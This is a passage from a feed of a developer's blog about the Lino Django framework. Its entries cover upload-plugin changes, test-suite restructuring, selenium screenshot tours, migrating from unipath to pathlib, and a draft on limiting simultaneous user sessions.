&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Change.get_as_comment()&lt;/span&gt;&lt;/code&gt; that returns &lt;cite&gt;self&lt;/cite&gt; formatted as a comment.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Intermediate research:&lt;/p&gt;
&lt;p&gt;Can we use Django’s built-in &lt;a class="reference external" href="https://docs.djangoproject.com/en/6.0/ref/models/fields/#django.db.models.fields.files.FieldFile.size"&gt;size&lt;/a&gt;
attribute of a &lt;cite&gt;FieldFile&lt;/cite&gt; object for sorting all Uploads by their size? No,
because a &lt;cite&gt;FieldFile&lt;/cite&gt; is just a volatile object created on the fly, and its
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;size&lt;/span&gt;&lt;/code&gt; property works by calling &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;os.path.getsize()&lt;/span&gt;&lt;/code&gt; (at least when
the uses the default file storage and unless it has been asked before doring the
same request).
&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;os.path.getsize()&lt;/span&gt;&lt;/code&gt; returns the file size in bytes.&lt;/p&gt;
&lt;p&gt;Oops, I discovered that the insert window of an upload doesn’t close after
having uploaded. The JS console says “Uncaught TypeError: action.result is
undefined”. The end user sees no error message and the window simply remains
open. So the user is tempted click a second time on the submit button. And every
click will upload the file again. So we definitively need the UploadChecker to
find duplicate and unused files.&lt;/p&gt;
&lt;p&gt;Ha! There was a typo bug in &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;renderer_mixin.JsCacheRenderer&lt;/span&gt;&lt;/code&gt; which caused Lino to
create an empty media directory “upload” (instead of “uploads”) at startup. This
bug might be the cause for missing group write permission of files that were
uploaded to a production site.  If you encounter this problem, check whether
your &lt;a class="reference external" href="https://dev.lino-framework.org/specs/uploads.html#xfile-uploads" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;uploads&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; directory has the sticky group bit set.&lt;/p&gt;
&lt;p&gt;Here the actual code changes in &lt;a class="reference external" href="https://dev.lino-framework.org/specs/uploads.html#module-lino.modlib.uploads" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.uploads&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Moved the &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Upgradable&lt;/span&gt;&lt;/code&gt; mixin from &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.mixins.html#module-lino.mixins" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.mixins&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; to
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/uploads.html#lino.modlib.uploads.UploadBase" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;UploadBase&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. And the &lt;a class="reference external" href="https://docs.djangoproject.com/en/6.0/ref/models/fields/#django.db.models.FileField.upload_to"&gt;upload_to&lt;/a&gt;
value of &lt;a class="reference external" href="https://dev.lino-framework.org/specs/uploads.html#lino.modlib.uploads.Upload.file" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Upload.file&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is no longer hard-coded but
configurable via the new &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Plugin.upload_to_spec&lt;/span&gt;&lt;/code&gt; setting.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Added a new plugin parameter &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Plugin.max_file_size&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Model.save_new_instance()&lt;/span&gt;&lt;/code&gt; method now calls  &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;full_clean()&lt;/span&gt;&lt;/code&gt; on
the new instance before anything else. This is now important because an
&lt;a class="reference external" href="https://using.lino-framework.org/plugins/uploads.html#term-upload-file" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;upload file&lt;/span&gt;&lt;/a&gt; might be invalid due to its size.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;In &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.min9&lt;/span&gt;&lt;/code&gt; I converted the settings package into a single
&lt;a class="reference external" href="https://hosting.lino-framework.org/settings/#xfile-settings.py" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;settings.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; module.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Some side effects on documentation and test suites:&lt;/p&gt;
&lt;p&gt;A first side effect was that I removed the docs and max demo projects. These two
project had become useless ballast.  Most of the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/doctests.html#term-tested-document" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;tested documents&lt;/span&gt;&lt;/a&gt; that relied on them can use &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_book.projects.min2.html#module-lino_book.projects.min2" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.min2&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; or
&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.min9&lt;/span&gt;&lt;/code&gt; as well. But I had to add some more plugins to
min9. I created ticket &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3984"&gt;#3984&lt;/a&gt; for this.&lt;/p&gt;
&lt;p&gt;As a side effect of this side effect, the API generated by autodoc no longer
includes the &lt;a class="reference external" href="https://dev.lino-framework.org/ref/files.html#xfile-models.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;models.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; files of the some plugins. This is a first step
towards converting their docs to prose style (&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/1869"&gt;#1869&lt;/a&gt;). Next step will be
to create a specs page for each of them and to move the docstrings from the
&lt;a class="reference external" href="https://dev.lino-framework.org/ref/files.html#xfile-models.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;models.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; there. The plugins are &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.votes.html#module-lino_xl.lib.votes" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.votes&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.skills.html#module-lino_xl.lib.skills" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.skills&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.postings.html#module-lino_xl.lib.postings" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.postings&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.outbox.html#module-lino_xl.lib.outbox" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.outbox&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.online.users&lt;/span&gt;&lt;/code&gt; &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_voga.lib.invoicing&lt;/span&gt;&lt;/code&gt;
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_noi.lib.users.html#module-lino_noi.lib.users" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_noi.lib.users&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_noi.lib.topics&lt;/span&gt;&lt;/code&gt; &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_noi.lib.tickets.html#module-lino_noi.lib.tickets" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_noi.lib.tickets&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_noi.lib.contacts.html#module-lino_noi.lib.contacts" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_noi.lib.contacts&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_noi.lib.cal.html#module-lino_noi.lib.cal" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_noi.lib.cal&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;And a third side effect: I moved some attribute descriptions of
&lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/model.html#lino.core.model.Model" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.model.Model&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;  (e.g. &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/model.html#lino.core.model.Model.allow_cascaded_copy" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;allow_cascaded_copy&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;) from the source code to a prosa
file. This was my first usage of the &lt;cite&gt;:noindex:&lt;/cite&gt; option for the &lt;code class="xref rst rst-dir docutils literal notranslate"&gt;&lt;span class="pre"&gt;class&lt;/span&gt;&lt;/code&gt;
directive.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0217.html</guid><pubDate>Wed, 17 Feb 2021 00:00:00 +0000</pubDate></item><item><title>Monday, February 15, 2021</title><link>https://luc.lino-framework.org/blog/2021/0215.html</link><description>&lt;section id="monday-february-15-2021"&gt;
&lt;h1&gt;Monday, February 15, 2021&lt;a class="headerlink" href="#monday-february-15-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;In demo project tera1, “pm test tests.test_ipdict” passed, but “pm test” failed.
Which indicated that test_ipdict.py somehow depends on the other test cases.
This caused an avalanche of changes in the test suite.  I also learned a few
things.  Lino has a new &lt;a class="reference external" href="https://dev.lino-framework.org/dev/django.html#term-django-admin-command" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;django-admin command&lt;/span&gt;&lt;/a&gt; &lt;a class="reference external" href="https://dev.lino-framework.org/specs/lino.html#management_command-demotest" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;demotest&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The Django docs warns “If your tests rely on database access such as creating or
querying models, be sure to create your test classes as subclasses of
django.test.TestCase rather than unittest.TestCase.” I thought that when I don’t
use django.test.TestCase, my test will use the database defined in the manage.py
file (i.e. the prepared demo data).&lt;/p&gt;
&lt;p&gt;So it seems that the Django tests in the demo projects (= run using
&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;test&lt;/span&gt;&lt;/code&gt; from a demo project directory, not using &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-test" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;test&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; from the
repository root) actually never use the database that has been prepared with
&lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/prep.html#command-pm-prep" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pm&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.
I thought that the WebIndexTestCase does this. But seems that I
was wrong.&lt;/p&gt;
&lt;p&gt;The new &lt;a class="reference external" href="https://dev.lino-framework.org/dev/django.html#term-django-admin-command" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;django-admin command&lt;/span&gt;&lt;/a&gt; &lt;a class="reference external" href="https://dev.lino-framework.org/specs/lino.html#management_command-demotest" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;demotest&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; replaces what has
previously been done by &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;test_webindex.py&lt;/span&gt;&lt;/code&gt; and &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;test_ipdict.py&lt;/span&gt;&lt;/code&gt;. I
removed these files from all projects. It is now being called in the
&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;test_demo.py&lt;/span&gt;&lt;/code&gt;, which I added to some repositories.  E.g. we now also
have such a file in welfare, amici, algus, mentori and others.&lt;/p&gt;
&lt;p&gt;The test suite in welfare and amici did not run &lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;test&lt;/span&gt;&lt;/code&gt; in their demo
projects. Seems that they have been sleeping for quite long. Now they are back
But two of them were using &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.api.doctest.check_callback_dialog()&lt;/span&gt;&lt;/code&gt;, and I
didn’t yet manage to get this back to work. I marked them as skipped.&lt;/p&gt;
&lt;p&gt;The new &lt;a class="reference external" href="https://dev.lino-framework.org/specs/lino.html#management_command-demotest" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;demotest&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; command also unveiled a series of deprecation
warnings, which I fixed. I had not seen them before because usually they are
disabled.&lt;/p&gt;
&lt;p&gt;I rediscovered two tested docs that hadn’t yet been moved to the
docs tree in book:
&lt;a class="reference external" href="https://dev.lino-framework.org/dev/myroles.html#lino-tutorials-myroles" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Local customizations to the user permissions&lt;/span&gt;&lt;/a&gt;
and
&lt;a class="reference external" href="https://dev.lino-framework.org/dev/auto_create.html#lino-tutorial-auto-create" title="(in Lino Developer Guide)"&gt;&lt;span&gt;lookup_or_create and the auto_create signal&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0215.html</guid><pubDate>Mon, 15 Feb 2021 00:00:00 +0000</pubDate></item><item><title>Sunday, February 7, 2021</title><link>https://luc.lino-framework.org/blog/2021/0207.html</link><description>&lt;section id="sunday-february-7-2021"&gt;
&lt;h1&gt;Sunday, February 7, 2021&lt;a class="headerlink" href="#sunday-february-7-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I pushed my work of the last days  (for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/632"&gt;#632&lt;/a&gt;) to master of lino and
book.&lt;/p&gt;
&lt;section id="about-screenshots"&gt;
&lt;h2&gt;About screenshots&lt;a class="headerlink" href="#about-screenshots" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;For the first time in the history of Lino I got the
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.api.selenium.html#lino.api.selenium.runserver" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.api.selenium.runserver()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; function working. It is a bit tricky because
I wanted it to launch a Django development server in the background, then use
selenium to open a headless firefox and run an automated “tour” in the demo
database, taking screenshots on the go. And these screenshots would then be
available for being included in documentation pages.&lt;/p&gt;
&lt;p&gt;Here is an example of such a screenshot:&lt;/p&gt;
&lt;img alt="../../_images/contacts.Companies.grid.params_en.png" src="../../_images/contacts.Companies.grid.params_en.png" /&gt;
&lt;p&gt;This screenshot is taken from &lt;a class="reference external" href="https://dev.lino-framework.org/apps/noi/tour/index.html#noi1e-tour" title="(in Lino Developer Guide)"&gt;&lt;span&gt;A tour of the Noi/ExtJS demo project&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;But of course every fixed issue causes new questions to raise.&lt;/p&gt;
&lt;p&gt;I had to figure out how to organize everything.  Where to store those tours?
They are no longer under &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/docs/tours&lt;/span&gt;&lt;/code&gt;. I started to care about
internationalization: we don’t need “just screenshots”, we need them in
different languages. The selenium code that runs the tour is now
language-agnostic and the same tour is run for different users. I converted the
&lt;a class="reference external" href="https://dev.lino-framework.org/dev/tours.html#xfile-maketour.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;maketour.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; script into a script to be executed with &lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/run.html#command-pm-run" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pm&lt;/span&gt; &lt;span class="pre"&gt;run&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. I
renamed &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.api.selenium.Album&lt;/span&gt;&lt;/code&gt; to &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.api.selenium.html#lino.api.selenium.Tour" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.api.selenium.Tour&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.  I
added a test case that actually runs our first &lt;a class="reference external" href="https://dev.lino-framework.org/dev/tours.html#xfile-maketour.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;maketour.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; script of
the noi1e project.&lt;/p&gt;
&lt;p&gt;Where to hook the tours into the doc tree?  They are neither “Specs” nor “API”.
Each tour creates one &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;.rst&lt;/span&gt;&lt;/code&gt; page, that page is meant as a reference for
the author of application documentation. It describes how the tour has been
done, which screenshots are available, and it gives the names of the image
files.&lt;/p&gt;
&lt;p&gt;I removed the tours index page (which was meant to list all
the tours) because that was a useless file to maintain. Rather hook them into
the specs of the application they describe.  So the noi1e tour is now in the
&lt;a class="reference external" href="https://dev.lino-framework.org/apps/noi/index.html#noi-specs" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Noi Developer Guide&lt;/span&gt;&lt;/a&gt; section.&lt;/p&gt;
&lt;p&gt;I added code in &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;test_demo.py&lt;/span&gt;&lt;/code&gt; that runs the noi1e tour.&lt;/p&gt;
&lt;p&gt;I had all this working, but after a system upgrade on my notebook (where also
firefox was updated) it stopped to work again. After another hour of trying to
get it back to work, I decided to abandon, comment out the lines in
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;test_demo.py&lt;/span&gt;&lt;/code&gt; that would run this test, and put it to sleep again. After
all this is not urgent.&lt;/p&gt;
&lt;p&gt;TODO:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;convert the &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;make_screenshots.py&lt;/span&gt;&lt;/code&gt; scripts in &lt;a class="reference external" href="https://welfare.lino-framework.org/api/index.html#module-lino_weleup" title="(in Lino Welfare)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_weleup&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and &lt;a class="reference external" href="https://welfare.lino-framework.org/api/index.html#module-lino_welcht" title="(in Lino Welfare)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welcht&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
to &lt;a class="reference external" href="https://dev.lino-framework.org/dev/tours.html#xfile-maketour.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;maketour.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; scripts in the &lt;cite&gt;gerd&lt;/cite&gt; and &lt;cite&gt;mathieu&lt;/cite&gt; demo projects.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;extend the &lt;cite&gt;noi1e&lt;/cite&gt; tour to have more screenshots&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;write a tour for a react demo&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;write a tour outside of the book in an independent application, e.g. amici.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0207.html</guid><pubDate>Sun, 07 Feb 2021 00:00:00 +0000</pubDate></item><item><title>Friday, February 5, 2021</title><link>https://luc.lino-framework.org/blog/2021/0205.html</link><description>&lt;section id="friday-february-5-2021"&gt;
&lt;h1&gt;Friday, February 5, 2021&lt;a class="headerlink" href="#friday-february-5-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="how-to-convert-from-unipath-to-pathlib"&gt;
&lt;h2&gt;How to convert from unipath to pathlib&lt;a class="headerlink" href="#how-to-convert-from-unipath-to-pathlib" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;AttributeError: ‘PosixPath’ object has no attribute ‘child’&lt;/p&gt;
&lt;p&gt;&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;pth.child(x)&lt;/span&gt;&lt;/code&gt; –&amp;gt; &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;pth&lt;/span&gt; &lt;span class="pre"&gt;/&lt;/span&gt; &lt;span class="pre"&gt;x&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;AttributeError: ‘PosixPath’ object has no attribute ‘write_file’&lt;/p&gt;
&lt;p&gt;&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;pth.write_file(x)&lt;/span&gt;&lt;/code&gt; –&amp;gt; &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;pth.write_text(x)&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;AttributeError: ‘PosixPath’ object has no attribute ‘lower’&lt;/p&gt;
&lt;p&gt;&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;pth.lower(x)&lt;/span&gt;&lt;/code&gt; –&amp;gt; &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;str(pth).lower(x)&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;In general, &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;unipath.Path&lt;/span&gt;&lt;/code&gt; objects had the feature (or the non-feature)
to behave like strings.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0205.html</guid><pubDate>Fri, 05 Feb 2021 00:00:00 +0000</pubDate></item><item><title>Saturday, January 16, 2021</title><link>https://luc.lino-framework.org/blog/2021/0116.html</link><description>&lt;section id="saturday-january-16-2021"&gt;
&lt;h1&gt;Saturday, January 16, 2021&lt;a class="headerlink" href="#saturday-january-16-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;The content below was a first draft. Read &lt;a class="reference external" href="https://dev.lino-framework.org/dev/sessions.html#dev-sessions" title="(in Lino Developer Guide)"&gt;&lt;span&gt;User sessions&lt;/span&gt;&lt;/a&gt; for what it has
become.&lt;/p&gt;
&lt;section id="limiting-the-number-of-simultaneous-user-sessions-per-site"&gt;
&lt;h2&gt;Limiting the number of simultaneous user sessions per site&lt;a class="headerlink" href="#limiting-the-number-of-simultaneous-user-sessions-per-site" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;A new core feature for Lino would be that the server administrator can set the
&lt;a class="reference internal" href="#term-sessions-limit"&gt;&lt;span class="xref std std-term"&gt;sessions limit&lt;/span&gt;&lt;/a&gt; of a site.&lt;/p&gt;
&lt;dl class="simple glossary"&gt;
&lt;dt id="term-sessions-limit"&gt;sessions limit&lt;a class="headerlink" href="#term-sessions-limit" title="Link to this term"&gt;¶&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;The maximum number of simultaneous &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-end-user" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;end user&lt;/span&gt;&lt;/a&gt; sessions  that are
allowed on this site.&lt;/p&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;p&gt;This setting could be used by a &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-hosting-provider" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;hosting provider&lt;/span&gt;&lt;/a&gt; for negotiating their
price.  After signing in, an &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-end-user" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;end user&lt;/span&gt;&lt;/a&gt; might potentially get a message
“Sorry, there are already X users working on this site. Please try again later.”&lt;/p&gt;
&lt;p&gt;Should we use &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;ipdict&lt;/span&gt;&lt;/code&gt; for this? Or rather
&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;sessions&lt;/span&gt;&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;We can assume that all Lino sites that want to use this feature will also use
&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;django.contrib.sessions&lt;/span&gt;&lt;/code&gt; and the database backend.  I played around and
did something like this:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.api&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;rt&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.core.auth&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;SESSION_KEY&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;ses&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sessions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Session&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
